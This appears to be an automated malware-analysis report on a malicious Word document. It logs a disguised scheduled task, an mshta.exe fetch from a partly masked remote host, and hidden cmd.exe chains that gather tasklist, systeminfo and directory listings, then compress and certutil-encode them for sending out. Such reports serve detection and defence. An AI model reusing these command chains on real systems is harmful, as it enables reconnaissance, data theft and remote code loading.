Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft office update
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\mshta.exe' http://na###.#idsecurity.org/attache/20201112
Modifies settings of Windows Internet Explorer
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1406' = '00000000'
Modifies file system
Creates the following files
- %TEMP%\rad4a3b6.tmp
- %TEMP%\cab_932_5
- %TEMP%\cab_932_6
- %TEMP%\cab_932_4
- %TEMP%\cab_932_3
- %TEMP%\cab_932_2
- %TEMP%\radc9b1d.tmp
- %TEMP%\rad4d742.tmp
- %TEMP%\rad9b7dd.tmp
- %TEMP%\cab_2864_5
- %TEMP%\cab_2864_6
- %TEMP%\cab_2864_4
- %TEMP%\cab_2864_2
- %TEMP%\cab_2864_3
- %TEMP%\raddc6ad.tmp
- %TEMP%\radc92cc.tmp
- %TEMP%\rad0213d.tmp
- %TEMP%\cab_3008_5
- %TEMP%\cab_3008_6
- %TEMP%\cab_3008_4
- %TEMP%\cab_3008_2
- %TEMP%\cab_3008_3
- <Current directory>\~wrd0001.tmp
- <Current directory>\~wrd0000.tmp
- %TEMP%\radf4a09.tmp
- %TEMP%\rad9bc9e.tmp
Deletes the following files
- <Current directory>\~wrd0000.tmp
- %TEMP%\rad9bc9e.tmp
- %TEMP%\rad9b7dd.tmp
- %TEMP%\rad4d742.tmp
- %TEMP%\rad0213d.tmp
- %TEMP%\radc9b1d.tmp
- %TEMP%\cab_932_6
- %TEMP%\cab_932_5
- %TEMP%\cab_932_4
- %TEMP%\cab_932_3
- %TEMP%\cab_932_2
- %TEMP%\radc92cc.tmp
- %TEMP%\raddc6ad.tmp
- %TEMP%\cab_2864_5
- %TEMP%\cab_2864_4
- %TEMP%\cab_2864_3
- %TEMP%\cab_2864_2
- %TEMP%\rad4a3b6.tmp
- %TEMP%\cab_3008_6
- %TEMP%\cab_3008_5
- %TEMP%\cab_3008_4
- %TEMP%\cab_3008_3
- %TEMP%\cab_3008_2
- %TEMP%\cab_2864_6
- %TEMP%\radf4a09.tmp
Substitutes the following files
- <PATH_SAMPLE>.doc
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://na###.#idsecurity.org/attache/20201112/
- http://na###.#idsecurity.org/attache/20201112/dn.php?cl##########################
- http://na###.#idsecurity.org/attache/20201112
UDP
- DNS ASK na###.#idsecurity.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\mshta.exe' http://na###.#idsecurity.org/attache/20201112' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c tasklist > %TEMP%\rad4A3B6.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c makecab rad4A3B6.tmp rad0213D.tmp && certutil -encode -f rad0213D.tmp radC92CC.tmp && del /f /q rad4A3B6.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c systeminfo > %TEMP%\radDC6AD.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c makecab radDC6AD.tmp rad9B7DD.tmp && certutil -encode -f rad9B7DD.tmp rad4D742.tmp && del /f /q radDC6AD.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd /d "C:\Users" && dir /a/o-d/s *.* > %TEMP%\radC9B1D.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c makecab radC9B1D.tmp radF4A09.tmp && certutil -encode -f radF4A09.tmp rad9BC9E.tmp && del /f /q radC9B1D.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd /d %LOCALAPPDATA%\Temp && del /f /q *.tmp > %TEMP%\rad884DE.tmp' (with hidden window)
Executes the following
- '<SYSTEM32>\taskeng.exe' {CCEA751B-1116-4B67-BD06-0FD43E61A374} S-1-5-21-1960123792-2022915161-3775307078-1001:mrvmgyse\user:Interactive:[1]
- '<SYSTEM32>\makecab.exe' radC9B1D.tmp radF4A09.tmp
- '<SYSTEM32>\cmd.exe' /c makecab radC9B1D.tmp radF4A09.tmp && certutil -encode -f radF4A09.tmp rad9BC9E.tmp && del /f /q radC9B1D.tmp
- '<SYSTEM32>\cmd.exe' /c cd /d "C:\Users" && dir /a/o-d/s *.* > %TEMP%\radC9B1D.tmp
- '<SYSTEM32>\certutil.exe' -encode -f rad9B7DD.tmp rad4D742.tmp
- '<SYSTEM32>\makecab.exe' radDC6AD.tmp rad9B7DD.tmp
- '<SYSTEM32>\cmd.exe' /c makecab radDC6AD.tmp rad9B7DD.tmp && certutil -encode -f rad9B7DD.tmp rad4D742.tmp && del /f /q radDC6AD.tmp
- '<SYSTEM32>\certutil.exe' -encode -f radF4A09.tmp rad9BC9E.tmp
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\certutil.exe' -encode -f rad0213D.tmp radC92CC.tmp
- '<SYSTEM32>\makecab.exe' rad4A3B6.tmp rad0213D.tmp
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /c makecab rad4A3B6.tmp rad0213D.tmp && certutil -encode -f rad0213D.tmp radC92CC.tmp && del /f /q rad4A3B6.tmp
- '<SYSTEM32>\cmd.exe' /c tasklist > %TEMP%\rad4A3B6.tmp
- '<SYSTEM32>\mshta.exe' http://na###.#idsecurity.org/attache/20201112
- '<SYSTEM32>\cmd.exe' /c systeminfo > %TEMP%\radDC6AD.tmp
- '<SYSTEM32>\cmd.exe' /c cd /d %LOCALAPPDATA%\Temp && del /f /q *.tmp > %TEMP%\rad884DE.tmp
